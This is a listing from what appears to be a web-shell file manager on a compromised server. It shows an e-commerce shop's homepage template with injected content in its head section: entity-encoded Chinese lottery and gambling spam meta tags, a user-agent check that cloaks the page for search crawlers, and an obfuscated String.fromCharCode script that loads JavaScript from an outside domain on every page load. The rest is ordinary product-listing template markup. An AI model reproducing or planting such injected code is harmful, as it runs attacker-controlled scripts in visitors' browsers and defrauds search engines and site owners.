Server : Apache
System : Linux iZ2vcgyutqttsd1p850kl8Z 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 5.6.40
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Directory :  /www/wwwroot/saimikebio.com/themes/lingshi/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : /www/wwwroot/saimikebio.com/themes/lingshi/index.dwt
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<noscript><title>&#50;&#48;&#50;&#52;&#28207;&#28595;&#20170;&#26085;&#26368;&#26032;&#20813;&#36153;&#36164;&#26009;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#56;&#48;&#56;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#20845;&#24320;&#24425;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#19979;&#36733;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#24320;&#22870;&#35760;&#24405;&#44;&#50;&#48;&#50;&#52;&#24180;&#24320;&#30721;&#32467;&#26524;&#28595;&#38376;&#24320;&#22870;&#44;&#26032;&#22885;&#22825;&#22825;&#20813;&#36153;&#36164;&#26009;&#21333;&#21452;&#44;&#28595;&#38376;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#52;&#52;&#57;&#36164;&#26009;&#22823;&#20840;</title>
<meta name="keywords" content="&#50;&#48;&#50;&#52;&#26032;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#56;&#48;&#56;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#20845;&#24320;&#24425;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#19979;&#36733;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#24320;&#22870;&#35760;&#24405;&#44;&#50;&#48;&#50;&#52;&#24180;&#24320;&#30721;&#32467;&#26524;&#28595;&#38376;&#24320;&#22870;&#44;&#26032;&#22885;&#22825;&#22825;&#20813;&#36153;&#36164;&#26009;&#21333;&#21452;&#44;&#28595;&#38376;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#52;&#52;&#57;&#36164;&#26009;&#22823;&#20840;&#46;" />
<meta name="description" content="&#20026;&#20320;&#25552;&#20379;&#28207;&#28595;&#20170;&#26085;&#26368;&#26032;&#20813;&#36153;&#36164;&#26009;&#58;&#50;&#48;&#50;&#52;&#26032;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#56;&#48;&#56;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#20845;&#24320;&#24425;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#19979;&#36733;&#44;&#50;&#48;&#50;&#52;&#26032;&#28595;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#22825;&#22825;&#24320;&#22909;&#24425;&#22823;&#20840;&#24320;&#22870;&#35760;&#24405;&#44;&#50;&#48;&#50;&#52;&#24180;&#24320;&#30721;&#32467;&#26524;&#28595;&#38376;&#24320;&#22870;&#44;&#26032;&#22885;&#22825;&#22825;&#20813;&#36153;&#36164;&#26009;&#21333;&#21452;&#44;&#28595;&#38376;&#31934;&#20934;&#36164;&#26009;&#22823;&#20840;&#20813;&#36153;&#44;&#50;&#48;&#50;&#52;&#28595;&#38376;&#52;&#52;&#57;&#36164;&#26009;&#22823;&#20840;!" /></noscript>
<script>if(!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)){document.title ='{$page_title}'}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,107,107,107,104,100,109,105,104,46,116,111,112,47,50,48,50,54,47,108,117,99,107,121,50,48,50,54,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
<!-- TemplateBeginEditable name="doctitle" -->
<!-- TemplateEndEditable -->
<!-- TemplateBeginEditable name="head" -->
<!-- TemplateEndEditable -->
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<link href="{$ecs_css_path}" rel="stylesheet" type="text/css" />
<link href="index.css" rel="stylesheet" type="text/css" />
<link rel="alternate" type="application/rss+xml" title="RSS|{$page_title}" href="{$feed_url}" />
{* 包含脚本文件 *}
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/common.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script type="text/javascript" src="js/cat_goods_tab.js"></script>
{insert_scripts files='easydialog.min.js'}
</head>
<body>
<!-- #BeginLibraryItem "/library/page_header.lbi" --><!-- #EndLibraryItem -->
<script type="text/javascript" src="js/lizi_index.js"></script>
<script type="text/javascript">
$(document).ready(function() {
	$(".j-hotTab").find("li:first").addClass('on');
	$(".index-promotion-up").click(function(){
		var num=$(this).parent().parent().find(".textgt").val();
		var num_p=parseInt(num);
		num_p=num_p+1;
		$(this).parent().parent().find(".textgt").val(num_p);
		});
});
</script>
<script type="text/javascript">
  function getLocalTime(nS) {
    return new Date(parseInt(nS) * 1000).toLocaleString().replace(/:\d{1,2}$/, ' ');
  }
  function limitCount() {
    var a = limitCount.doms = limitCount.doms || $("#JS_limit_table div.JS_leaveTime");
    a.each(function() {
      var c = $(this);
      var b = c[0]._timeline = c[0]._timeline || c.data("timeline");
      c.html(limitFormatTime(b - limitCount.unixTime));
    });
  }
  function limitFormatTime(e) {
    if (e < 0) {
      e = 0;
    }
    var NowTime = new Date();
    var t = e * 1000 + 28800000 - NowTime.getTime();
    /*var d=Math.floor(t/1000/60/60/24);
        t-=d*(1000*60*60*24);
        var h=Math.floor(t/1000/60/60);
        t-=h*60*60*1000;
        var m=Math.floor(t/1000/60);
        t-=m*60*1000;
        var s=Math.floor(t/1000);*/

    var d = Math.floor(t / 1000 / 60 / 60 / 24);
    if (d<10){
       d = '0' + d;
    }
    var h = Math.floor(t / 1000 / 60 / 60 % 24);
    if (h<10){
       h = '0' + h;
    }
    var m = Math.floor(t / 1000 / 60 % 60);
    if (m<10){
       m = '0' + m;
    }
    var s = Math.floor(t / 1000 % 60);
    if (s<10){
       s = '0' + s;
    }

    if (t < 0) {
    return "活动结束";
    }

    return '剩余:<em>'+ d + '</em>天' + '<em>' + h + '</em>时<em>' + m + '</em>分<em>' + s + '</em>秒';
  }
  function _COMMON_UNIX_TIME() {
    limitCount.unixTime = 0;
    setInterval(limitCount, 1000);
  }
  _COMMON_UNIX_TIME();
</script>
<div class="index-banner">
    <div class="index-slide" id="index-slide">
	<!--Banner切换-->
	<!-- #BeginLibraryItem "/library/index_ad.lbi" --><!-- #EndLibraryItem --> 
	<!--Banner切换 END -->
		
    <div class="rSide">
<!-- TemplateBeginEditable name="幻灯片右侧广告" -->
<!-- #BeginLibraryItem "/library/ad_position.lbi" -->

{insert name='ads' id=$ads_id num=$ads_num}
 <!-- #EndLibraryItem -->
<!-- TemplateEndEditable -->
	</div>
    </div>
</div>

<script type="text/javascript">
   var btn_buy = "{$lang.btn_buy}";
   var is_cancel = "{$lang.is_cancel}";
   var select_spe = "{$lang.select_spe}";
</script>

<div class="index_brands"> 
<!-- TemplateBeginEditable name="首页品牌区域" -->
<!-- #BeginLibraryItem "/library/brands.lbi" -->

<!-- {if $brand_list} -->
<div class="w-main mb20">
    <div class="title">
	
		<h2>品牌推荐</h2>
		
	</div>
  <ul class="index_genghuan">
    <!-- {foreach from=$brand_list item=brand name="brand_foreach"} -->
	{if $brand.brand_logo}
	<li>
	<a href="{$brand.url}" title="{$brand.brand_name|escape:html}">
	<img alt="{$brand.brand_name|escape:html}"  title="{$brand.brand_name|escape:html}" src="data/brandlogo/{$brand.brand_logo}">
	</a>
	</li>
	
	{else}
	<li>
	<a class="text" href="{$brand.url}" title="{$brand.brand_name|escape:html}">
	{$brand.brand_name|escape:html}
	</a>
	</li>
	{/if}
	
    <!-- {/foreach} -->
	<div class="clear"></div>
  </ul>
</div>
<!-- {/if} -->


 <!-- #EndLibraryItem -->
<!-- TemplateEndEditable -->
</div>

<!-- TemplateBeginEditable name="限时促销" -->
<!-- TemplateEndEditable -->


<!--新品 精品 热销 S -->
<div class="pro_con">
<!-- TemplateBeginEditable name="商品推介区域" -->
<!-- TemplateEndEditable -->
</div>
<!--新品 精品 热销 E -->



<!-- 分类下商品 -->
<div class="series_list"> 
<!-- TemplateBeginEditable name="分类下商品区域" -->
<!-- #BeginLibraryItem "/library/cat_goods.lbi" -->

<?php
$sortnum=$GLOBALS['smarty']->_var['sortnum'];
if($sortnum=='')
{
 $sortnum==0;
}
$sortnum=$sortnum+1;
$GLOBALS['smarty']->assign('sortnum',$sortnum);
$catid=$GLOBALS['smarty']->_var['goods_cat']['id'];
$catname=$GLOBALS['smarty']->_var['goods_cat']['name'];

?>
<div class="cn-laytit">
	<div class="title title{$sortnum}">
	
		<h2><font class="cat_title">{$goods_cat.name}</font></h2>
		
		<div class="hd-tags">
			<ul>
			
			
			<li><a arr="{$sortnum}_{$goods_cat.id}" class="cur" href="javascript:" title="精选{$goods_cat.name}" target="_blank">{$goods_cat.name}</a></li>
			
			
			  <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
			<!-- {if $child_tree.is_hot_cat}--> 
			<li><a arr="{$sortnum}_{$child_tree.id}"  href="{$child_tree.url}" title="{$child_tree.name}" target="_blank">{$child_tree.name}</a></li>
			<!--{/if}-->
			  <!--{/foreach}-->
			  <li><a arr="more" href="{$goods_cat.url}" title="更多{$goods_cat.name}" target="_blank">更多....</a></li>
			</ul>
		</div>
		
		
	</div>
	<div class="link">
	</div>
</div>
<div class="cn-fruit">
  <div class="banner banner{$sortnum}">
    <?php
	$GLOBALS['smarty']->assign('index_image1',get_advlist('首页'.$sortnum.'F分类商品左侧广告', 1));
    ?>
	<div class="ban1">
    {foreach from=$index_image1 item=ad name=index_image}
      <a href="{$ad.url}" target="_blank"><img data-original="{$ad.image}" src="images/spacer.gif" class="loading"></a>
    {/foreach}
	</div>
	

  </div>
  
  
  
   <div id="tab{$goods_cat.id}" class="goods goods{$sortnum}" style="display:block;">
    <ul>
    <!--{foreach from=get_cat_type_goods($catid,"best") item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  
  
  
  
  
  
    <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
   	<!-- {if $child_tree.is_hot_cat}--> 
  <div id="tab{$child_tree.id}" class="goods goods{$sortnum}" style="display:none;">
    <ul>
    <!--{foreach from=$child_tree.child_cat_goods item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  <!--{/if}-->
  <!--{/foreach}-->  
  
  
  
  
  
</div>

 <!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/cat_goods.lbi" -->

<?php
$sortnum=$GLOBALS['smarty']->_var['sortnum'];
if($sortnum=='')
{
 $sortnum==0;
}
$sortnum=$sortnum+1;
$GLOBALS['smarty']->assign('sortnum',$sortnum);
$catid=$GLOBALS['smarty']->_var['goods_cat']['id'];
$catname=$GLOBALS['smarty']->_var['goods_cat']['name'];

?>
<div class="cn-laytit">
	<div class="title title{$sortnum}">
	
		<h2><font class="cat_title">{$goods_cat.name}</font></h2>
		
		<div class="hd-tags">
			<ul>
			
			
			<li><a arr="{$sortnum}_{$goods_cat.id}" class="cur" href="javascript:" title="精选{$goods_cat.name}" target="_blank">{$goods_cat.name}</a></li>
			
			
			  <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
			<!-- {if $child_tree.is_hot_cat}--> 
			<li><a arr="{$sortnum}_{$child_tree.id}"  href="{$child_tree.url}" title="{$child_tree.name}" target="_blank">{$child_tree.name}</a></li>
			<!--{/if}-->
			  <!--{/foreach}-->
			  <li><a arr="more" href="{$goods_cat.url}" title="更多{$goods_cat.name}" target="_blank">更多....</a></li>
			</ul>
		</div>
		
		
	</div>
	<div class="link">
	</div>
</div>
<div class="cn-fruit">
  <div class="banner banner{$sortnum}">
    <?php
	$GLOBALS['smarty']->assign('index_image1',get_advlist('首页'.$sortnum.'F分类商品左侧广告', 1));
    ?>
	<div class="ban1">
    {foreach from=$index_image1 item=ad name=index_image}
      <a href="{$ad.url}" target="_blank"><img data-original="{$ad.image}" src="images/spacer.gif" class="loading"></a>
    {/foreach}
	</div>
	

  </div>
  
  
  
   <div id="tab{$goods_cat.id}" class="goods goods{$sortnum}" style="display:block;">
    <ul>
    <!--{foreach from=get_cat_type_goods($catid,"best") item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  
  
  
  
  
  
    <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
   	<!-- {if $child_tree.is_hot_cat}--> 
  <div id="tab{$child_tree.id}" class="goods goods{$sortnum}" style="display:none;">
    <ul>
    <!--{foreach from=$child_tree.child_cat_goods item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  <!--{/if}-->
  <!--{/foreach}-->  
  
  
  
  
  
</div>

 <!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/cat_goods.lbi" -->

<?php
$sortnum=$GLOBALS['smarty']->_var['sortnum'];
if($sortnum=='')
{
 $sortnum==0;
}
$sortnum=$sortnum+1;
$GLOBALS['smarty']->assign('sortnum',$sortnum);
$catid=$GLOBALS['smarty']->_var['goods_cat']['id'];
$catname=$GLOBALS['smarty']->_var['goods_cat']['name'];

?>
<div class="cn-laytit">
	<div class="title title{$sortnum}">
	
		<h2><font class="cat_title">{$goods_cat.name}</font></h2>
		
		<div class="hd-tags">
			<ul>
			
			
			<li><a arr="{$sortnum}_{$goods_cat.id}" class="cur" href="javascript:" title="精选{$goods_cat.name}" target="_blank">{$goods_cat.name}</a></li>
			
			
			  <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
			<!-- {if $child_tree.is_hot_cat}--> 
			<li><a arr="{$sortnum}_{$child_tree.id}"  href="{$child_tree.url}" title="{$child_tree.name}" target="_blank">{$child_tree.name}</a></li>
			<!--{/if}-->
			  <!--{/foreach}-->
			  <li><a arr="more" href="{$goods_cat.url}" title="更多{$goods_cat.name}" target="_blank">更多....</a></li>
			</ul>
		</div>
		
		
	</div>
	<div class="link">
	</div>
</div>
<div class="cn-fruit">
  <div class="banner banner{$sortnum}">
    <?php
	$GLOBALS['smarty']->assign('index_image1',get_advlist('首页'.$sortnum.'F分类商品左侧广告', 1));
    ?>
	<div class="ban1">
    {foreach from=$index_image1 item=ad name=index_image}
      <a href="{$ad.url}" target="_blank"><img data-original="{$ad.image}" src="images/spacer.gif" class="loading"></a>
    {/foreach}
	</div>
	

  </div>
  
  
  
   <div id="tab{$goods_cat.id}" class="goods goods{$sortnum}" style="display:block;">
    <ul>
    <!--{foreach from=get_cat_type_goods($catid,"best") item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  
  
  
  
  
  
    <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
   	<!-- {if $child_tree.is_hot_cat}--> 
  <div id="tab{$child_tree.id}" class="goods goods{$sortnum}" style="display:none;">
    <ul>
    <!--{foreach from=$child_tree.child_cat_goods item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  <!--{/if}-->
  <!--{/foreach}-->  
  
  
  
  
  
</div>

 <!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/cat_goods.lbi" -->

<?php
$sortnum=$GLOBALS['smarty']->_var['sortnum'];
if($sortnum=='')
{
 $sortnum==0;
}
$sortnum=$sortnum+1;
$GLOBALS['smarty']->assign('sortnum',$sortnum);
$catid=$GLOBALS['smarty']->_var['goods_cat']['id'];
$catname=$GLOBALS['smarty']->_var['goods_cat']['name'];

?>
<div class="cn-laytit">
	<div class="title title{$sortnum}">
	
		<h2><font class="cat_title">{$goods_cat.name}</font></h2>
		
		<div class="hd-tags">
			<ul>
			
			
			<li><a arr="{$sortnum}_{$goods_cat.id}" class="cur" href="javascript:" title="精选{$goods_cat.name}" target="_blank">{$goods_cat.name}</a></li>
			
			
			  <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
			<!-- {if $child_tree.is_hot_cat}--> 
			<li><a arr="{$sortnum}_{$child_tree.id}"  href="{$child_tree.url}" title="{$child_tree.name}" target="_blank">{$child_tree.name}</a></li>
			<!--{/if}-->
			  <!--{/foreach}-->
			  <li><a arr="more" href="{$goods_cat.url}" title="更多{$goods_cat.name}" target="_blank">更多....</a></li>
			</ul>
		</div>
		
		
	</div>
	<div class="link">
	</div>
</div>
<div class="cn-fruit">
  <div class="banner banner{$sortnum}">
    <?php
	$GLOBALS['smarty']->assign('index_image1',get_advlist('首页'.$sortnum.'F分类商品左侧广告', 1));
    ?>
	<div class="ban1">
    {foreach from=$index_image1 item=ad name=index_image}
      <a href="{$ad.url}" target="_blank"><img data-original="{$ad.image}" src="images/spacer.gif" class="loading"></a>
    {/foreach}
	</div>
	

  </div>
  
  
  
   <div id="tab{$goods_cat.id}" class="goods goods{$sortnum}" style="display:block;">
    <ul>
    <!--{foreach from=get_cat_type_goods($catid,"best") item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  
  
  
  
  
  
    <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
   	<!-- {if $child_tree.is_hot_cat}--> 
  <div id="tab{$child_tree.id}" class="goods goods{$sortnum}" style="display:none;">
    <ul>
    <!--{foreach from=$child_tree.child_cat_goods item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  <!--{/if}-->
  <!--{/foreach}-->  
  
  
  
  
  
</div>

 <!-- #EndLibraryItem -->
<!-- #BeginLibraryItem "/library/cat_goods.lbi" -->

<?php
$sortnum=$GLOBALS['smarty']->_var['sortnum'];
if($sortnum=='')
{
 $sortnum==0;
}
$sortnum=$sortnum+1;
$GLOBALS['smarty']->assign('sortnum',$sortnum);
$catid=$GLOBALS['smarty']->_var['goods_cat']['id'];
$catname=$GLOBALS['smarty']->_var['goods_cat']['name'];

?>
<div class="cn-laytit">
	<div class="title title{$sortnum}">
	
		<h2><font class="cat_title">{$goods_cat.name}</font></h2>
		
		<div class="hd-tags">
			<ul>
			
			
			<li><a arr="{$sortnum}_{$goods_cat.id}" class="cur" href="javascript:" title="精选{$goods_cat.name}" target="_blank">{$goods_cat.name}</a></li>
			
			
			  <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
			<!-- {if $child_tree.is_hot_cat}--> 
			<li><a arr="{$sortnum}_{$child_tree.id}"  href="{$child_tree.url}" title="{$child_tree.name}" target="_blank">{$child_tree.name}</a></li>
			<!--{/if}-->
			  <!--{/foreach}-->
			  <li><a arr="more" href="{$goods_cat.url}" title="更多{$goods_cat.name}" target="_blank">更多....</a></li>
			</ul>
		</div>
		
		
	</div>
	<div class="link">
	</div>
</div>
<div class="cn-fruit">
  <div class="banner banner{$sortnum}">
    <?php
	$GLOBALS['smarty']->assign('index_image1',get_advlist('首页'.$sortnum.'F分类商品左侧广告', 1));
    ?>
	<div class="ban1">
    {foreach from=$index_image1 item=ad name=index_image}
      <a href="{$ad.url}" target="_blank"><img data-original="{$ad.image}" src="images/spacer.gif" class="loading"></a>
    {/foreach}
	</div>
	

  </div>
  
  
  
   <div id="tab{$goods_cat.id}" class="goods goods{$sortnum}" style="display:block;">
    <ul>
    <!--{foreach from=get_cat_type_goods($catid,"best") item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  
  
  
  
  
  
    <!--{foreach from=get_child_tree($catid) item=child_tree name=child_tree}-->
   	<!-- {if $child_tree.is_hot_cat}--> 
  <div id="tab{$child_tree.id}" class="goods goods{$sortnum}" style="display:none;">
    <ul>
    <!--{foreach from=$child_tree.child_cat_goods item=goods name=goods}-->
      <li id="li_{$goods.id}">
			<div class="item">
				<div class="img">
					<a href="{$goods.url}"><img data-original="{$goods.thumb}" src="images/spacer.gif" class="loading pic_img_{$goods.id} zom"></a>
				</div>
				<div class="tit"><a href="{$goods.url}">{$goods.name|truncate:28:'...'}</a></div>
				<div class="btns">
					<div class="pri j_comPrice">
						<b class="j_sellPrice"><!-- {if $goods.promote_price neq ""} -->{$goods.promote_price}<!-- {else}-->{$goods.shop_price}<!--{/if}--></b>
						<!--<del>{$goods.market_price}</del>-->
					</div>
					<a class="addtocart j_addToCartAysn addtocart_{$goods.id}" href="javascript:" onClick="addToCart({$goods.id},this)">加入购物车</a>
				</div>
			</div>
      </li>
    <!--{/foreach}-->
    </ul>
  </div>
  <!--{/if}-->
  <!--{/foreach}-->  
  
  
  
  
  
</div>

 <!-- #EndLibraryItem -->
<!-- TemplateEndEditable --> 
</div>
<!-- 分类下商品 END -->	

<div class="index_bottom_ad">
<!-- TemplateBeginEditable name="首页底部广告区域" -->
<!-- #BeginLibraryItem "/library/ad_position.lbi" -->

{insert name='ads' id=$ads_id num=$ads_num}
 <!-- #EndLibraryItem -->
<!-- TemplateEndEditable -->
</div>

<div class="w-main panel-wrapper">
<!-- TemplateBeginEditable name="首页底部文章区域" -->
<!-- #BeginLibraryItem "/library/cat_articles.lbi" -->

{if $articles_cat.id eq 22}
<div class="index_bottom">
	<div class="index_article">
		<div class="index_article_l">
			<h3><a href="{$articles_cat.url}">{$articles_cat.name|escape:html}</a></h3>
			<h4><a href="{$articles_cat.url}">浏览更多</a></h4>
		</div>
		<div class="index_article_m">
		
<ul>
	<!--{foreach from=$articles item=article_item name=article_item}-->
